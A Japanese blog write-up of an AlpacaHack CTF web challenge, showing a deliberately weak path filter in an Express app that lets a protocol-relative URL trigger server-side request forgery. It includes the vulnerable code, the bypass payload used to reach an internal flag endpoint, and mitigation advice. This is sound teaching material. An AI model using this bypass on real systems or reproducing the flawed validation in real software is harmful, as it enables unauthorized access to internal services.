毎日1問、CTFの問題を腕試しできる常設チャレンジAlpacaHackが最近はじまりました
Write Up等も気軽に公開できるので今回は、

のWrite Upです
Web
アクセスすると入力画面が表示されます

「pizza」って入力するとクソデカピザの絵文字が表示されます

ソースコード
ソースコードの構成は以下のとおりです。
secretのindex.jsにフラグの痕跡があります。http://secret:1337/flagにアクセスできればフラグを手に入れれそうです

frontendのフォルダにあるindex.jsです
frontend/index.jsには、サーバーサイドリクエストフォージェリ(SSRF)と呼ばれる重大なセキュリティ脆弱性が存在します。
import express from "express";
import fs from "node:fs";
const waf = (path) => {
if (typeof path !== "string") throw new Error("Invalid types");
if (!path.startsWith("/")) throw new Error("Invalid 1");
if (!path.includes("emoji")) throw new Error("Invalid 2");
return path;
};
express()
.get("/", (req, res) => res.type("html").send(fs.readFileSync("index.html")))
.get("/api", async (req, res) => {
try {
const path = waf(req.query.path);
const url = new URL(path, "http://backend:3000");
const emoji = await fetch(url).then((r) => r.text());
res.send(emoji);
} catch (err) {
res.send(err.message);
}
})
.listen(3000);
SSRFについて詳しくは以下を参考にしてみてください

脆弱性の解説
問題のコードは以下の部分です。
.get("/api", async (req, res) => {
try {
const path = waf(req.query.path);
const url = new URL(path, "http://backend:3000");
const emoji = await fetch(url).then((r) => r.text());
res.send(emoji);
} catch (err) res.send(err.message);
}
})
このコードは、ユーザーが提供したpathパラメータを元にURLを組み立て、そのURLにサーバーサイドからリクエストを送信しています。wafという関数でpathパラメータの検証を行っていますが、この検証が不十分なため、攻撃者は意図しないURLへリクエストを送信させることが可能です。
waf関数の検証ロジックは以下の通りです。
const waf = (path) => {
if (typeof path !== "string") throw new Error("Invalid types");
if (!path.startsWith("/")) throw new Error("Invalid 1");
if (!path.includes("emoji")) throw new Error("Invalid 2");
return path;
};
この検証は、pathが/で始まり、”emoji”という文字列を含んでいれば通ってしまいます。しかし、URLコンストラクタの仕様を悪用することで、このチェックを回避し、任意のホストに対してリクエストを送信させることができます。
攻撃手法
例えば、攻撃者がpathパラメータに//example.com/emojiという値を指定したとします。
waf関数は、この値が/で始まっている(//は/で始まっていると判定されます)ことと、emojiを含んでいることを確認し、検証をパスさせます。- 次に、
new URL("//example.com/emoji", "http://backend:3000")が実行されます。URLコンストラクタは、第一引数が//で始まる場合、それをプロトコル相対URLと解釈し、ベースURLのホスト部分(backend:3000)を無視して、http://example.com/emojiというURLを生成します。 - 結果として、フロントエンドのサーバーは
http://example.com/emojiに対してリクエストを送信してしまいます。
これにより、攻撃者は内部ネットワークの他のサーバーや、外部の任意のサーバーにリクエストを送信させることができ、情報漏洩や他の脆弱性を突くための踏み台として利用される可能性があります。
フラグ取得
該当のソースコードにリクエストをしている部分は
http://ipアドレス:31211/api?path=/emoji/pizza
です。

pathのパラメータが、以下のソースコードでバックエンドに渡しているので
pathに攻撃コードを埋め込むことでflagを取得することができます
.get("/api", async (req, res) => {
try {
const path = waf(req.query.path);
const url = new URL(path, "http://backend:3000");
const emoji = await fetch(url).then((r) => r.text());
res.send(emoji);
} catch (err) {
res.send(err.message);
}
})
http://secret:1337/flagを取得すればいいので以下のようにアクセスします
http://IPアドレス:31211/api?path=//secret:1337/emoji/../flag
するとフラグが取れました

waf関数ではemojiという文字がなければ防御されますので注意してください
対策
この脆弱性を修正するためには、ユーザーが提供するpathをより厳格に検証する必要があります。具体的には、pathが/で始まっていることを確認するだけでなく、//で始まっていないこと、そして外部のホスト名を指定できないようにする必要があります。許可されたパスのパターンをホワイトリストで制限することが最も安全な対策です。


コメント